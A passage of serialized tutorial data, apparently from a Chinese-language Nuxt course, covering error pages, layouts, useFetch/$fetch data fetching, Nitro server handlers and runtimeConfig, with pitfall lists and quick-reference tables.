navigateTo('\u002F')\n\u003C\u002Fscript>\n\n\u003Ctemplate>\n  \u003Cdiv class=\"error\">\n    \u003Ch1>{{ error.statusCode }}\u003C\u002Fh1>\n    \u003Cp>{{ error.statusMessage || (error.statusCode === 404 ? '页面不存在' : '出错了') }}\u003C\u002Fp>\n    \u003Cbutton @click=\"home\">回首页\u003C\u002Fbutton>\n  \u003C\u002Fdiv>\n\u003C\u002Ftemplate> 触发一个错误页（404\u002F500 的标准做法）： \u002F\u002F 页面、中间件、服务端接口里都能用\nthrow createError({ statusCode: 404, statusMessage: '教程不存在', fatal: true }) 本站教程详情页就是这么处理的：查不到文档就直接 throw createError({ statusCode: 404, fatal: true })，而不是渲染一个「数据为空」的分支——前者能让爬虫和监控正确识别 404。 error.vue 有几点硬约束：它在布局之外（拿不到 useAppStore 之类），所以要用到的样式请在 app.vue 层或全局 CSS 里给；它不参与 pages\u002F 路由，别指望用 navigateTo('\u002Ferror') 跳过去。",{"id":132708,"title":7450,"titles":132709,"content":132710,"level":357},"\u002Ftutorials\u002Fnuxt#路由动画与公告",[4558,6942],"\u003CNuxtPage :transition=\"{ name: 'page', mode: 'out-in' }\" \u002F>\n\u003CNuxtRouteAnnouncer \u002F>      \u003C!-- 给读屏软件播报「已进入 关于 页」 --> \u003CNuxtRouteAnnouncer> 是无障碍的正路（SPA 换页不会触发屏幕阅读器的标题播报）。动画需要配 CSS 类：.page-enter-from、.page-leave-to（和 Vue \u003CTransition> 一模一样，别漏 -from）。",{"id":132712,"title":17480,"titles":132713,"content":132714,"level":357},"\u002Ftutorials\u002Fnuxt#加载态nuxtloadingindicator",[4558,6942],"\u003C!-- app\u002Fapp.vue -->\n\u003Ctemplate>\n  \u003CNuxtLoadingIndicator color=\"#0969da\" \u002F>\n  \u003CNuxtLayout>\u003CNuxtPage \u002F>\u003C\u002FNuxtLayout>\n\u003C\u002Ftemplate> 放在 app.vue 里就能给「所有导航和 useFetch」共用的顶部进度条。不想让某个请求触发进度条：useFetch(url, { dedupe: 'defer' }) 或 \u003CNuxtLoadingIndicator :throttle=\"500\">。",{"id":132716,"title":7607,"titles":132717,"content":132718,"level":357},"\u002Ftutorials\u002Fnuxt#单页面渲染不需要-layouts-的小项目",[4558,6942],"删掉 app.vue 时 Nuxt 会生成一个默认的 \u003Cdiv id=\"app\">\u003CNuxtLayout>\u003CNuxtPage\u002F>\u003C\u002FNuxtLayout>\u003C\u002Fdiv>。留着 app.vue 但里面只有 \u003CNuxtPage\u002F> 也是合法配置（没有布局需求时）。",{"id":132720,"title":4796,"titles":132721,"content":132722,"level":357},"\u002Ftutorials\u002Fnuxt#️-本章的坑-3",[4558,6942],"1. 布局里写 \u003CNuxtPage \u002F>。 布局切换时页面会被重复挂载，definePageMeta({ key }) 行为诡异。规则：页面用 \u003CNuxtPage\u002F>，布局用 \u003Cslot\u002F>。 2. error.vue 里访问 useRoute()。 错误页不在正常路由上下文里，useRoute() 拿到的不是你以为的那个对象，route.meta 是空的。需要的信息从 props.error 里取。 3. 布局名字打错，静默回到 default。 definePageMeta({ layout: 'docs' }) 但只有 doc.vue，Nuxt 会警告后落到默认布局（或空白，取决于版本）。新建布局时先访问一次页面确认。 4. layouts\u002F 下的子目录文件不会自动生效。 layouts\u002Fadmin\u002Fsidebar.vue 不是布局。要复用片段请放 components\u002F。 5. 布局里放的数据请求会在每次换页时重跑？ 不会——布局实例复用。但如果你用了 definePageMeta({ layout: false }) 又 \u003CNuxtLayout> 手动包，就可能出现「同一份数据取两遍」。二选一。 6. \u003CNuxtLayout> 的默认插槽必须只有一个元素。 包多个根元素会收到「Layout should have a single root element」警告（Vue 3 多根组件在这个位置不被允许）。外面套一个 \u003Cdiv>。 7. 静态生成时 404 页需要额外一份。 nuxt generate 会产出 404.html，但服务器要真的把未知路径指到它（Nginx error_page 404 \u002Fnuxt\u002F404.html;），否则用户看到 Nginx 的默认 404。第十三章有配置。",{"id":132724,"title":7744,"titles":132725,"content":132726,"level":357},"\u002Ftutorials\u002Fnuxt#附内置组件清单",[4558,6942],"组件 放哪 作用 \u003CNuxtApp> 相关 API（useNuxtApp()） 任意 拿运行时上下文、注册钩子 \u003CNuxtPage> app.vue 渲染当前路由组件，可配 transition\u002Fkeepalive \u003CNuxtLayout> app.vue 或页面 套用布局 \u003Cslot \u002F> 布局内部 页面插入点 \u003CNuxtLoadingIndicator> app.vue 顶部进度条 \u003CNuxtRouteAnnouncer> app.vue 路由变化的无障碍播报 \u003CClientOnly> 任意 内部只在客户端渲染（SSR 安全逃生舱） \u003CDevOnly> 任意 内部只在开发环境渲染 \u003CNuxtWelcome> 临时页面 官方欢迎页（初始化时用一次）",{"id":132728,"title":17485,"titles":132729,"content":132730,"level":341},"\u002Ftutorials\u002Fnuxt#五数据获取usefetch-与-useasyncdata",[4558],"这是 Nuxt 的核心章节。数据什么时候在服务端取、什么时候在客户端取、取几次，决定了首屏速度、SEO 和一半的性能坑。",{"id":132732,"title":17488,"titles":132733,"content":132734,"level":357},"\u002Ftutorials\u002Fnuxt#为什么不能用-onmounted-fetch",[4558,17485],"先想清楚这条链：SSR 阶段服务端跑组件时不会执行 onMounted（那是浏览器里的钩子），于是服务端渲染出的 HTML 里没有正文；到客户端才发请求，用户看着白屏或 loading 等一跳。爬虫抓到的也是空壳。 useFetch \u002F useAsyncData 解决的就是这个：它们是「服务端会等待、结果会被序列化」的异步数据。 \u003Cscript setup>\n\u002F\u002F 完整写法：顶层 await → 服务端取完才渲染 HTML\nconst { data: posts, pending, status, error, refresh } =\n  await useFetch('\u002Fapi\u002Fposts', { query: { page: 1 }, pick: ['id', 'title'] })\n\u003C\u002Fscript>\n\n\u003Ctemplate>\n  \u003Cp v-if=\"pending\">加载中…\u003C\u002Fp>\n  \u003Cul v-else-if=\"!error\">\n    \u003Cli v-for=\"p in posts\" :key=\"p.id\">{{ p.title }}\u003C\u002Fli>\n  \u003C\u002Ful>\n  \u003Cp v-else class=\"err\">{{ error.statusMessage || '加载失败' }}\u003C\u002Fp>\n  \u003Cbutton @click=\"refresh()\">重新获取\u003C\u002Fbutton>\n\u003C\u002Ftemplate> 返回值里五个字段各有分工：data 数据本体、error 失败时的错误对象、pending（当前这一次请求）与 status（idle | pending | success | error）、refresh（重跑 handler）、execute（手动触发，配 immediate: false）。",{"id":132736,"title":17490,"titles":132737,"content":132738,"level":357},"\u002Ftutorials\u002Fnuxt#usefetch-与-useasyncdata-的分工",[4558,17485],"useFetch(url, opts) useAsyncData(key, handler, opts) 内部做什么 就是 useAsyncData 的包装，handler 是 $fetch(url) 你给任意异步函数（可以是三次串行请求、读文件、算东西） key 默认用 URL 生成 必须自己给（同 key 共享同一份结果） 自动取消 有（abort） 无（自己用 AbortController） 请求拦截\u002F自动前缀 有（useFetch 内部 $fetch 的 baseURL 逻辑） 无 什么时候用 取一个 HTTP 接口 组合多个来源、非 HTTP 的数据（DB、文件、计算） 本站详情页用的就是 useAsyncData：queryCollection('tutorials').path(route.path).first() 是本地数据库查询，不是 HTTP 请求。",{"id":132740,"title":8297,"titles":132741,"content":132742,"level":357},"\u002Ftutorials\u002Fnuxt#keynuxt-数据缓存的开关",[4558,17485],"\u002F\u002F 两个组件同 key → 只请求一次，共享同一份 data\nawait useAsyncData('user-stats', () => $fetch('\u002Fapi\u002Fstats'))\nawait useAsyncData('user-stats', () => $fetch('\u002Fapi\u002Fstats'))   \u002F\u002F 不会二次请求 useFetch('\u002Fapi\u002Flist') 的默认 key 由 URL + 选项生成。两个组件用同一 URL 就自动共享；URL 参数不同 key 就不同，会各请求一次。要强制共享就显式写 { key: 'list' }。 这也解释了「为什么我在页脚拿不到最新数据」：同 key 的数据在 payload 里已存在，客户端不会自动重新请求。要刷新请调 refresh()，或加 { dedupe: 'always' } 之类的策略。",{"id":132744,"title":17493,"titles":132745,"content":132746,"level":357},"\u002Ftutorials\u002Fnuxt#客户端才想要的数据lazyserver-falseimmediate",[4558,17485],"\u002F\u002F ① 不阻塞首屏：先渲染，数据到达后再更新（HTML 里服务端已经取过，只是不 await）\nconst { data } = await useFetch('\u002Fapi\u002Fheavy', { lazy: true })\n\n\u002F\u002F ② 服务端完全不取（数据只在浏览器拿）—— 注意：正文不会进 SSR HTML，SEO 会空\nconst { data } = await useFetch('\u002Fapi\u002Fme', { server: false })\n\n\u002F\u002F ③ 先不请求，点按钮时才请求\nconst { data, execute } = await useAsyncData('detail', () => $fetch(`\u002Fapi\u002Fx\u002F${id}`), { immediate: false })\n\n\u002F\u002F ④ 参数变化时自动重新请求（默认只 watch 路由）\nconst { data } = await useFetch('\u002Fapi\u002Fsearch', { query: { q }, watch: [q] }) server: false 的代价要说清楚：SSR 出的 HTML 里那块是空的（或是 default 给的骨架），爬虫看到的是骨架，用户看到的是「内容闪一下」。只在「确实需要浏览器环境」（依赖 localStorage、需要当前登录 cookie 且接口不可服务端代理）时用。",{"id":132748,"title":17495,"titles":132749,"content":132750,"level":357},"\u002Ftutorials\u002Fnuxt#给数据一个-default少写一层判空",[4558,17485],"const { data: list } = await useFetch('\u002Fapi\u002Flist', {\n  default: () => []          \u002F\u002F Nuxt 4 起 data 初始为 undefined，不写 default 就得判 undefined\n}) Nuxt 3 时代 data 默认是 null，Nuxt 4 变成 undefined——从旧教程抄代码时这里最容易出「list.length 报错」。",{"id":132752,"title":17497,"titles":132753,"content":132754,"level":357},"\u002Ftutorials\u002Fnuxt#一次性副作用callonce",[4558,17485],"有些东西只该在服务端跑一次（初始化数据库、预热缓存、写 cookie）： await callOnce('seed', async () => { await $fetch('\u002Fapi\u002Fseed') }) 同一个 key 在整次请求生命周期内只执行一次；useHead 之类的全站初始化也能用它兜住。 示例 05 把「onMounted + fetch」和「await useFetch」各放一遍：计数器显示 SSR 阶段 1 次 + 客户端 0 次 vs 1 次 + 1 次；再切 server: false \u002F lazy 两个开关，看首屏文字和时间轴如何变化。",{"id":132756,"title":4796,"titles":132757,"content":132758,"level":357},"\u002Ftutorials\u002Fnuxt#️-本章的坑-4",[4558,17485],"1. await 写在异步函数里没生效。 \u003Cscript setup> 支持顶层 await；但如果你把 useFetch 塞进一个普通函数（function load() { await useFetch(...) }）再在 onMounted 里调用，SSR 阶段就白跑了。要么在 setup 顶层直接 await，要么改用 onServerPrefetch。 2. 在 useFetch 里读 window\u002Fdocument。 服务端也会执行 handler 所在的上下文，SSR 时报 window is not defined。需要浏览器环境的数据请用 { server: false } 或 \u003CClientOnly>。 3. key 撞车导致数据互相覆盖。 两个不同页面用了同一个显式 key（'list'），从一个页面切回另一个页面时拿到的是对方的数据。给 key 带上业务语义（tutorials-all、article-${id}）。 4. pick \u002F transform 忘了用，payload 巨大。 SSR 把取到的数据序列化进 _payload.json，列表接口返回 200 字段而页面只用 3 个字段时，用户多下载了 60 倍数据。pick: ['id','title'] 或 transform: (r) => r.map(slim)，本章末尾有对照表。 5. 页面里 refresh() 之后 loading 状态闪了两次。 refresh() 会重跑请求；要「静默刷新」用 refresh() 配合 { dedupe: 'defer' }，或直接 refresh({ dedupe: 'defer' })（版本相关，实测为准）。 6. 相对路径在服务端解析的是 Nuxt 服务器，不是你的后端。 useFetch('\u002Fapi\u002Fposts') 在 SSR 阶段由 Nitro 内部处理（命中你自己的 server\u002Fapi 时最省事，不发起真实网络请求）；但请求外部域名时必须写绝对 URL 或配 baseURL——这是「本地能跑、服务器上 fetch 超时」的头号原因（第六章解决）。 7. 认证 cookie 在服务端取不到。 SSR 阶段 $fetch 不会自动带上浏览器的 cookie。要么用 useRequestHeaders(['cookie']) 把请求头透传给内部接口，要么把这类「只有浏览器才知道结果」的数据放客户端取。 8. data 是可响应式的，别在回调里整体替换它然后期望触发更新。 data.value = newData 是对的；data.list.push(x) 若 data 是 ref 就漏了 .value。（Vue 教程第四章的老规矩在这里一样适用。）",{"id":132760,"title":8884,"titles":132761,"content":132762,"level":357},"\u002Ftutorials\u002Fnuxt#附数据获取选项速查",[4558,17485],"选项 类型 作用 key string 缓存键；同 key 只跑一次 server boolean 是否在服务端执行（false = 只客户端） lazy boolean 不阻塞导航\u002F渲染，数据到达后再更新 immediate boolean 创建时是否立刻执行（false 配 execute()） pick string 只保留返回值的指定字段进 payload transform function 转换\u002F裁剪返回值 default function data 的初始值（Nuxt 4 建议显式给） watch Ref 依赖变化时自动重新请求；传 [] 关掉自动触发 dedupe 'cancel' | 'defer' | 'allow' 同一请求并发时的策略（默认 cancel） query \u002F params object 拼 URL 查询串（对象值会被序列化） headers \u002F method \u002F body — 透传给 $fetch getCachedData function 自定义「是否复用已有数据」（做数据级缓存） onResponse \u002F onError function 请求回调（埋点、错误提示） response — await useFetch(...) 返回的 promise 上有 .response（含状态码\u002F头） signal AbortSignal 自己接管取消",{"id":132764,"title":17501,"titles":132765,"content":132766,"level":341},"\u002Ftutorials\u002Fnuxt#六fetch底层请求函数与它的-baseurl",[4558],"useFetch 内部调的就是 $fetch。当你不需要「进 payload、SSR 等待、缓存」这套语义时（比如提交表单、点按钮加载下一页），直接用 $fetch 更轻。 \u002F\u002F 组件里\nconst form = reactive({ title: '', body: '' })\nasync function submit() {\n  const res = await $fetch('\u002Fapi\u002Fposts', { method: 'POST', body: { ...form } })\n  await navigateTo(`\u002Fposts\u002F${res.id}`)\n} $fetch 来自 ofetch，Nuxt 给它注入了一层拦截（useNuxtApp().$fetch）。常用的四个选项： await $fetch('\u002Fapi\u002Flist', {\n  baseURL: '\u002Fapi',              \u002F\u002F 前缀（注意：URL 已经是绝对地址时 baseURL 被忽略）\n  query: { page: 2, tag: ['a', 'b'] },\n  headers: { 'x-trace': id },\n  timeout: 5000,\n  retry: 1,                     \u002F\u002F 失败重试次数（默认：GET 重试、POST 不重试）\n  onResponse({ response, options }) { \u002F* 统一处理 *\u002F },\n  onRequestError({ request, options, error }) { \u002F* 请求没发出去\u002F被取消 *\u002F },\n  onResponseError({ request, response, options }) { \u002F* 4xx\u002F5xx：会 throw *\u002F }\n}) 一条必须知道的默认行为：非 2xx 会抛错（不是返回一个 { ok: false }）。所以所有 $fetch 都要包 try\u002Fcatch，或者在 onResponseError 里统一转成提示： try {\n  await $fetch('\u002Fapi\u002Forder', { method: 'POST', body })\n} catch (e: any) {\n  \u002F\u002F e.data 是被解析后的响应体；e.response.status 是状态码\n  toast(e?.data?.message || '提交失败，请稍后再试')\n}",{"id":132768,"title":9516,"titles":132769,"content":132770,"level":357},"\u002Ftutorials\u002Fnuxt#服务端阶段访问外部-apibaseurl-的真相",[4558,17501],"这是 Nuxt 新手最大的一个坑，必须单独讲。 SSR 阶段执行 useFetch('\u002Fapi\u002Fx') 时，请求不发往浏览器地址，而是在 Nitro 内部直接调用对应的 handler（省一次网络往返，很好）。但如果你的意图是「让浏览器去请求第三方域名」，写成相对路径就错了： \u002F\u002F ✗ SSR 阶段：Nitro 会把它当成自己的 \u002Fapi\u002Fx 处理 → 404 或打到不存在的 handler\nawait useFetch('\u002Fapi\u002Fx')\n\n\u002F\u002F ✗ SSR 阶段：从服务器发起，指向的是「本机」而不是外部服务\nawait useFetch('\u002Fweather', { baseURL: 'https:\u002F\u002Fapi.open-meteo.com' })  \u002F\u002F 这种写法是对的（绝对域名）\n\n\u002F\u002F ✓ 正确姿势一：让服务端接口做代理，前端只访问自己\n\u002F\u002F   app\u002Fpages\u002F…\nawait useFetch('\u002Fapi\u002Fweather')          \u002F\u002F Nuxt 自己的接口\n\u002F\u002F   server\u002Fapi\u002Fweather.get.ts\nexport default defineEventHandler(() => $fetch('https:\u002F\u002Fapi.open-meteo.com\u002Fv1\u002Fforecast?latitude=…'))\n\n\u002F\u002F ✓ 正确姿势二：外部地址写成绝对 URL，并接受「这是服务端发起的请求」\nawait useFetch('https:\u002F\u002Fapi.example.com\u002Fv1\u002Flist', { headers: { authorization: `Bearer ${token}` } }) 用服务端代理的三条理由（也是所有「前端不该持有密钥」场景的通用答案）： 密钥不下发：第三方 token 留在 server\u002F，浏览器看不到（第八章会说到 runtimeConfig）。 绕开 CORS：服务端之间没有同源限制。 可控：能加缓存（swr）、限流、降级、日志。",{"id":132772,"title":9710,"titles":132773,"content":132774,"level":357},"\u002Ftutorials\u002Fnuxt#请求头与-cookie-的透传",[4558,17501],"\u002F\u002F 只在服务端执行：把浏览器带来的 cookie 转交给内部接口\nconst headers = useRequestHeaders(['cookie'])\nconst { data } = await useFetch('\u002Fapi\u002Fme', { headers }) useRequestHeaders() 在客户端返回空对象——这不是 bug，而是「浏览器本来就会自动带 cookie」。判断标准：SSR 阶段的请求需要你手工带上下文（cookie \u002F authorization \u002F user-agent），客户端阶段的请求由浏览器自动带。",{"id":132776,"title":17506,"titles":132777,"content":132778,"level":357},"\u002Ftutorials\u002Fnuxt#usefetch-与-fetch-的取舍",[4558,17501],"需求 用什么 页面渲染需要的数据，要进 SSR HTML 和 payload await useFetch \u002F useAsyncData 用户点按钮才触发的加载（下一页、加载更多） $fetch + 本地 ref 提交表单、删除、点赞 $fetch（写操作不该被缓存） 服务端接口内部再调外部 API $fetch（server\u002F 里，没有 payload 概念） 图片\u002F文件下载 useFetch 的 responseType: 'arrayBuffer' 或直接浏览器行为",{"id":132780,"title":4796,"titles":132781,"content":132782,"level":357},"\u002Ftutorials\u002Fnuxt#️-本章的坑-5",[4558,17501],"1. 忘记 try\u002Fcatch。 4xx\u002F5xx 会 throw，未被捕获时 SSR 阶段直接把页面炸成错误页（客户端则表现为「点了没反应」+ 一条 unhandled rejection）。 2. 相对路径当成「浏览器地址」。 上面整节讲的就是它。症状很迷惑：nuxt dev 里正常，部署到别的域名\u002F子路径后接口全 404。 3. baseURL 与绝对 URL 同时给。 一旦请求字符串里有协议+域名，baseURL 被忽略，请求发往你以为没在用的地址。二选一。 4. POST 被自动重试造成重复下单。 retry 默认对幂等请求生效；把写操作设计成非幂等时显式写 retry: 0。 5. query 里塞 undefined。 ofetch 会跳过 undefined，但序列化 null\u002F空串——「接口收到的 query 和预期不一致」时先打印实际 URL（onRequest 里 console.log(options.url + options.query)）。 6. 数组查询参数的编码格式。 query: { ids: [1, 2] } 编成 ids=1&ids=2；不少后端要的是 ids[]=1 或 ids=1,2。用 query: { ids: ids.join(',') } 明确格式，别赌框架默认。 7. 在 onRequestError 里 throw。 拦截器里的异常会覆盖原始错误，排查时会看到「错误来源不明」。回调里只做记录，改写结果请返回新值。 8. 服务端拿不到 useRequestHeaders 之外的浏览器状态。 localStorage、navigator 一律为空。要这类信息就放到客户端再取（{ server: false } 或 \u003CClientOnly>）。",{"id":132784,"title":17509,"titles":132785,"content":132786,"level":357},"\u002Ftutorials\u002Fnuxt#附fetch-错误对象形状",[4558,17501],"字段 内容 error.message 文本描述（404 Not Found: \u002Fapi\u002Fx 这类） error.response 原生 Response 对象（.status、.headers） error.data 解析后的响应体（后端返回的 { code, message } 在这里） error.options 本次请求的配置（URL、method、headers） 判定位置 4xx\u002F5xx → onResponseError；网络\u002FDNS\u002F取消 → onRequestError",{"id":132788,"title":17511,"titles":132789,"content":132790,"level":341},"\u002Ftutorials\u002Fnuxt#七服务端引擎-nitroserver-里的文件就是接口",[4558],"nuxt generate 出静态站时不需要它；但只要你需要「有秘密参与」或「按请求计算」的功能（登录、上传、支付回调、爬虫代理、读文件），server\u002F 就是最短路径——不用另起一个后端项目。",{"id":132792,"title":10088,"titles":132793,"content":132794,"level":357},"\u002Ftutorials\u002Fnuxt#一个接口三步",[4558,17511],"\u002F\u002F server\u002Fapi\u002Fnotes\u002Findex.get.ts\nexport default defineEventHandler(async (event) => {\n  const { q = '', page = '1' } = getQuery(event)\n  const list = await useDb(event).note.search({ q, page: Number(page) })\n  return { total: list.length, items: list.map(slim) }     \u002F\u002F 返回值 = JSON 响应体\n}) 文件写法 生成的 URL 方法 server\u002Fapi\u002Fnotes.get.ts \u002Fapi\u002Fnotes GET server\u002Fapi\u002Fnotes.post.ts \u002Fapi\u002Fnotes POST server\u002Fapi\u002Fnotes\u002Findex.get.ts \u002Fapi\u002Fnotes GET（与上面等价，用于同目录多方法） server\u002Fapi\u002Fnotes\u002F[id].delete.ts \u002Fapi\u002Fnotes\u002F:id DELETE server\u002Fapi\u002Fsearch.ts \u002Fapi\u002Fsearch 任意（不限制方法） server\u002Froutes\u002Fhealth.get.ts \u002Fhealth GET（routes\u002F 不带 \u002Fapi 前缀） server\u002Fmiddleware\u002Flog.ts — 每个请求前跑 server\u002Futils\u002Fdb.ts — 不是接口，被自动导入成 useDb() 后缀决定方法（.get \u002F .post \u002F .put \u002F .patch \u002F .delete \u002F .head \u002F .options）。一个文件一个方法是约定，同一资源的不同方法就分文件写（示例 06 演示了 [id].get.ts 与 [id].patch.ts 各自命中）。",{"id":132796,"title":10386,"titles":132797,"content":132798,"level":357},"\u002Ftutorials\u002Fnuxt#handler-里常用的工具",[4558,17511],"export default defineEventHandler(async (event) => {\n  const id = getRouterParam(event, 'id')                 \u002F\u002F 路径参数\n  const query = getQuery(event)                          \u002F\u002F ?a=1\n  const body = await readBody(event)                     \u002F\u002F JSON 请求体\n  const raw = await readRawBody(event)                   \u002F\u002F 原始文本\n  const file = await readMultipartFormData(event)        \u002F\u002F 上传（数组，每项有 filename\u002Fdata）\n  const cookie = getCookie(event, 'sid')\n\n  setHeader(event, 'cache-control', 's-maxage=60, stale-while-revalidate')\n  setResponseStatus(event, 201)\n  setCookie(event, 'sid', 'abc', { httpOnly: true, sameSite: 'lax', maxAge: 60 * 60 * 24 })\n\n  if (!id) throw createError({ statusCode: 400, statusMessage: '缺少 id' })\n  return { ok: true, id }                                \u002F\u002F ← 返回即响应；后面别再手写 res\n}) 规则一句话：async handler 里，返回值就是响应体。 不要用 event.node.res.end()（除非你确定要接管原始响应，比如流式\u002F重定向），否则会出现「已经返回了但连接没关」或「双重写入」的诡异行为。",{"id":132800,"title":10673,"titles":132801,"content":132802,"level":357},"\u002Ftutorials\u002Fnuxt#前端怎么调它",[4558,17511],"\u003Cscript setup>\n\u002F\u002F SSR 阶段：这个请求不经过网络，Nitro 内部直接调用 handler（快、无 CORS、无 baseURL 问题）\nconst { data: notes } = await useFetch('\u002Fapi\u002Fnotes', { query: { page: 1 } })\n\u003C\u002Fscript> \u003CNuxtLink to=\"\u002Fapi\u002Fnotes\"> 之类直接访问也能工作——部署时它就是普通的 HTTP 接口。",{"id":132804,"title":10742,"titles":132805,"content":132806,"level":357},"\u002Ftutorials\u002Fnuxt#环境变量与密钥的位置",[4558,17511],"server\u002F 里读环境变量用 useRuntimeConfig()（第八章），或 Nitro 的 process.env（只在服务端可见）。密钥永远不要出现在 app\u002F 下的代码里——打包产物是给人下载的文件。",{"id":132808,"title":4796,"titles":132809,"content":132810,"level":357},"\u002Ftutorials\u002Fnuxt#️-本章的坑-6",[4558,17511],"1. server\u002Fapi 与前端路由撞名。 有人把接口放 app\u002Fpages\u002Fapi\u002F…（当页面渲染了）或把页面放 server\u002Fapi\u002F…（当成接口了）。分界很清楚：server\u002F 是接口，app\u002Fpages\u002F 是页面。 2. 忘写方法后缀。 server\u002Fapi\u002Fnotes.ts 会接受所有方法——一个本该只读的接口就这样成了 POST 入口。显式 .get.ts。 3. 在 handler 里 console.log 当调试手段，客户端看不到。 服务端日志打印在跑 nuxt dev 的那个终端里，不是浏览器控制台。「接口没反应」先去终端找。 4. readBody 对 GET 请求没意义。 有些客户端发 GET 带 body，Nitro 默认不解析；参数请用 getQuery \u002F getRouterParam。 5. 上传文件没配 bodySizeLimit。 大文件被截断或 413。事件里用 readMultipartFormData(event, { limit })，并同步调 Nginx 的 client_max_body_size。 6. 直接 return 了 Buffer\u002Fstream 却忘了设头。 返回二进制请 setHeader(event, 'content-type', 'application\u002Fpdf') 再送（或用 event.node.res 明确接管）。 7. 在接口里做重计算，没加缓存。 每次请求都全量算 → CPU 打满。用 routeRules 的 swr\u002Fisr（第九章）或 defineCachedEventHandler： export default defineCachedEventHandler(async () => heavy(), { maxAge: 60, swr: true, name: 'report' }) 8. 中间件里 return 了东西。 server\u002Fmiddleware\u002F*.ts 的返回值会被忽略（它是「路过看一眼」的角色）；要拦截请 throw createError(...)。 9. dev 环境改 server\u002Futils 后类型没更新。 跑 nuxt prepare 或重启 dev server，TS 服务才会重新读自动导入声明。",{"id":132812,"title":10960,"titles":132813,"content":132814,"level":357},"\u002Ftutorials\u002Fnuxt#附h3-工具函数速查",[4558,17511],"工具 作用 defineEventHandler(fn) 声明一个 handler（唯一的入口包装） getQuery(event) 解析查询串成对象 getRouterParam(event, 'id') \u002F event.context.params 路径参数 readBody(event) \u002F readValidatedBody(event, schema) 请求体（后者可配 zod 校验） readRawBody \u002F readMultipartFormData 原始体 \u002F 表单上传 getCookie \u002F setCookie \u002F deleteCookie cookie getHeader \u002F setHeader \u002F setHeaders 请求\u002F响应头 setResponseStatus(event, code, msg) 状态码 sendRedirect(event, url, code) 3xx createError({ statusCode, statusMessage }) 抛出结构化错误（前端 error.data 能拿到） useRuntimeConfig() 运行时配置（第八章） defineCachedEventHandler(fn, opts) 接口级缓存（maxAge\u002Fswr\u002Fvariables） event.context 本次请求的上下文（可挂东西，跨中间件传值）",{"id":132816,"title":17520,"titles":132817,"content":132818,"level":341},"\u002Ftutorials\u002Fnuxt#八运行时配置与环境变量runtimeconfig",[4558],"「同一个包，跑在开发\u002F测试\u002F生产三套环境」——这件事必须由配置层解决，而不是改代码。Nuxt 的答案是 runtimeConfig + .env。",{"id":132820,"title":11153,"titles":132821,"content":132822,"level":357},"\u002Ftutorials\u002Fnuxt#一份配置两种可见性",[4558,17520],"\u002F\u002F nuxt.config.ts\nexport default defineNuxtConfig({\n  runtimeConfig: {\n    \u002F\u002F 只有服务端能读到（Nitro handler、SSR 阶段的代码）\n    dbUrl: '',\n    apiSecret: '',\n    \u002F\u002F 以 public 开头的会进客户端产物（构建时被替换成实际值）\n    public: {\n      apiBase: '\u002Fapi',\n      siteName: '码上智能',\n      mapKey: ''\n    }\n  }\n}) # .env（本地开发用；生产由部署环境注入，别把 .env 提交进仓库）\nNUXT_DB_URL=postgres:\u002F\u002Fuser:pass@127.0.0.1:5432\u002Fshop\nNUXT_PUBLIC_API_BASE=https:\u002F\u002Fapi.yoursite.com\nNUXT_PUBLIC_MAP_KEY=abc123 命名规则固定：runtimeConfig 里的字段名 → 环境变量名 = NUXT_ + 大写下划线；嵌套就是 NUXT_PUBLIC_XXX。这个映射是自动的，不需要手写对应关系。",{"id":132824,"title":11309,"titles":132825,"content":132826,"level":357},"\u002Ftutorials\u002Fnuxt#读取",[4558,17520],"\u002F\u002F app 侧（组件\u002F组合式函数）\nconst cfg = useRuntimeConfig()\ncfg.public.apiBase          \u002F\u002F ✓ 有\ncfg.dbUrl                   \u002F\u002F ✗ 客户端拿到 undefined（SSR 阶段能读到）\n\n\u002F\u002F server 侧\nexport default defineEventHandler(() => {\n  const cfg = useRuntimeConfig()\n  return query(cfg.dbUrl)   \u002F\u002F ✓ 密钥只在服务端出现\n}) 关键认知：public.* 的值在构建期就被写死进产物。用户 Ctrl+U 查看 JS 文件就能读到它。所以「公开的配置」不等于「不敏感的配置」，而是「即使被看到也没关系的」——站点名、公开接口地址可以；任何能花钱或被刷的东西不行。",{"id":132828,"title":11417,"titles":132829,"content":132830,"level":357},"\u002Ftutorials\u002Fnuxt#开发期跨域代理",[4558,17520],"前端调本机另一个后端（比如 Java 服务在 8080）时，用 dev 代理避免 CORS： export default defineNuxtConfig({\n  vite: {\n    server: {\n      proxy: { '\u002Fapi': { target: 'http:\u002F\u002Flocalhost:8080', changeOrigin: true } }\n    }\n  }\n}) 这条只在 nuxt dev 有效。 生产环境必须由 Nginx\u002F网关把 \u002Fapi 反代到后端（第十三章），否则线上 404——这是「本地一切正常，上线接口全挂」的经典成因。",{"id":132832,"title":4796,"titles":132833,"content":132834,"level":357},"\u002Ftutorials\u002Fnuxt#️-本章的坑-7",[4558,17520],"1. 把密钥写进 public。 它会被打进前端包。写完检查一遍产物：grep -r \"sk-\" .output\u002Fpublic\u002F_nuxt\u002F。 2. 在客户端读非 public 字段。 cfg.dbUrl 是 undefined，报错信息常是「undefined is not an object」，很难联想到环境变量。规则：非 public 字段只在 server\u002F 和 SSR 阶段用。 3. 环境变量名打错没报错。 NUXT_DB_URl 这类拼写错误不会提示，读到空串。给配置加显式校验： if (!process.env.NUXT_DB_URL) throw new Error('缺少 NUXT_DB_URL') 4. .env 提交进仓库。 至少要在 .gitignore 里排除，并给一份 .env.example 列出需要哪些键（不含值）。 5. 以为改了 .env 就生效。 需要重启 dev server；生产要重启进程。nuxt generate 的 public 值已经烧进产物，改环境变量必须重新 generate。 6. 静态产物里改不了 public.*。 这是「一次构建多处部署」的障碍。解法：把可变配置改成运行时接口（\u002Fapi\u002Fconfig），或在部署脚本里做字符串替换。 7. import.meta.env 与 useRuntimeConfig() 混用。 前者是 Vite 层的构建期常量（VITE_*，前端可读），后者是 Nuxt 层的运行时配置（服务端可读、可被环境变量覆盖）。优先 runtimeConfig：一套写法同时覆盖服务端和客户端。 8. 在 nuxt.config.ts 里直接读 process.env 拼进 runtimeConfig。 可以，但别忘了构建机上没有生产环境变量，产物里就固化成空串——正确姿势是让 runtimeConfig 字段留空，由运行期环境变量填充（NUXT_XXX）。",{"id":132836,"title":11650,"titles":132837,"content":132838,"level":357},"\u002Ftutorials\u002Fnuxt#附配置来源优先级",[4558,17520],"来源 时机 客户端可见 典型用途 runtimeConfig.public.* 构建期固化 ✓ 公开 API 地址、站点名、开关 runtimeConfig.*（非 public） 运行期读环境变量 ✗ 数据库、第三方密钥 NUXT_* 环境变量 部署平台注入 视是否 public 分环境差异 import.meta.env.VITE_* 构建期常量 ✓ 构建模式、非敏感常量 服务端 \u002Fapi\u002Fconfig 运行期请求 ✓ 